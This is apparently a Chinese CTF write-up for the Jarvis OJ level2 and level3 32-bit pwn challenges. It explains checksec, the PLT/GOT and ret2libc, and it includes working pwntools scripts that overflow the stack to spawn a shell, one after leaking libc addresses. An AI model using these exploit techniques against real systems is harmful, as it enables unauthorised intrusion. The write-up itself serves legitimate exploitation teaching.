今天oj里边的level2和level3的32位和64位四道题 写一下32位 其中包含libc
写题解之前 先补充两个内容
1.checksec
是用来检查可执行文件属性的。
Arch:说明这个文件的属性是什么,说明是32位的程序。
Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。
RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
PIE(ASLR)地址分布随机化。
2.ROP
level2:
先用IDA反汇编 查看一下溢出点
很明显 88位就满了但是push了100位 是一个栈溢出题
而且这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,发现了”/bin/sh”,于是记录下地址(或者使用pwntools的elf工具)。
虚拟机用checksec查看一下 NX开启了 所以这个题目我们就不可以用shellcode来做了
脚本如下
from pwn import *
conn=remote("pwn2.jarvisoj.com","9878")
e=ELF("./level2")
sys_addr=e.symbols['system']
pad=0x88
sh_addr=e.search("/bin/sh").next()
payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr )
conn.sendline(payload)
conn.interactive();
level3:
打开题目发现这个和是一个rar文件 修改文件名 解压 出来两个文件
是一个libc题目 ok先解释一下libc题目吧
首先,有一类函数,我们称之为库函数,他们已经编译在了libc库中,供需要时调用(有些类似于Windows动态链接库)。
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。
由于本人水平太菜==暂时还搞不清楚libc在换了另一个系统时的调用情况是否兼容(相关的坑以后再填~),但是有一点可以确定:
程序开始运行时,会把整个libc映射到内存中,此后在程序调用相关库函数时,会依据plt-got表的机制,将所需的库函数加载到内存空间的某个虚拟内存地址,然后调用时就会通过plt_got表辗转跳至真正的函数内存地址处完成功能,具体机制我们下面讲一下(PLT-GOT表):
PLT:内部函数表
GOT:全局函数表
完整调用链:Call->PLT->GOT->Real_RVA
转:https://www.cnblogs.com/Magpie/p/9117398.html
https://www.jianshu.com/p/6626a866ad66
接着写:
把两个文件分别都扔进IDA和Ubuntu
checksec查看一下文件的保护机制 NX同样开启
IDA
双击跟一下后面的offset,发现是有一个静态的初始地址的,然而显然这不是真正的函数地址:
lt表里做了一个jmp,注意jmp跳到的地址是804a00c处存的地址而不是804a00c(804a00c就是got表项的索引地址,其处存的地址值就是表项内容即库函数的真实地址!)
即下面的 dd offset read 这个值才是jmp的目标地址,附一个汇编语法:ds:[eax] 值为eax的值,即指针,而ds:eax 值为eax存储的地址处的值
ds是指data segment,dd是双字,占四字节
下面的仅是本人的理解和猜测,不一定保证正确:
第一次跳到extrn就做了声明,将 dd offset read 改写为真实VA值,即与上面转载的博客讲的首次调用对应。
也就是说,不考虑第一次,GOT表存的就是真实地址!!!!
即0x804A00C处的值就是函数真实地址!!!
现在大体基础原理已经介绍完了,我们继续分析这道pwn题目:
由于libc_raw里的地址和虚拟内存中的VA是平行映射的,所以......
先通过write泄露某函数got表的值(即某函数真实VA),然后在IDA中找到system和"/bin/sh"和某函数地址,算出偏移,根据平行的特性就可以计算出真实的system和"/bin/sh"的地址啦~
之后,all matters done!
注意,需要两次溢出!第一次溢出劫持到write泄露地址,write执行完后还要能回到源溢出函数(构造栈),然后进行第二次溢出拿shell
原理明白了
脚本:
from pwn import *
#conn=process('./level3')
conn=remote("pwn2.jarvisoj.com","9879")
libc=ELF('./libc-2.19.so')
e=ELF('./level3')
pad=0x88
vulfun_addr=0x0804844B
write_plt=e.symbols['write']
write_got=e.got['write']
payload1='A'*pad+"BBBB"+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
conn.recvuntil("Input:\n")
conn.sendline(payload1)
write_addr=u32(conn.recv(4))
#calculate the system_address in memory
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh
payload2='A'*pad+"BBBB"+p32(system_addr)+"dead"+p32(sh_addr)
conn.sendline(payload2)
conn.interactive()
运行脚本 两道题flag到手!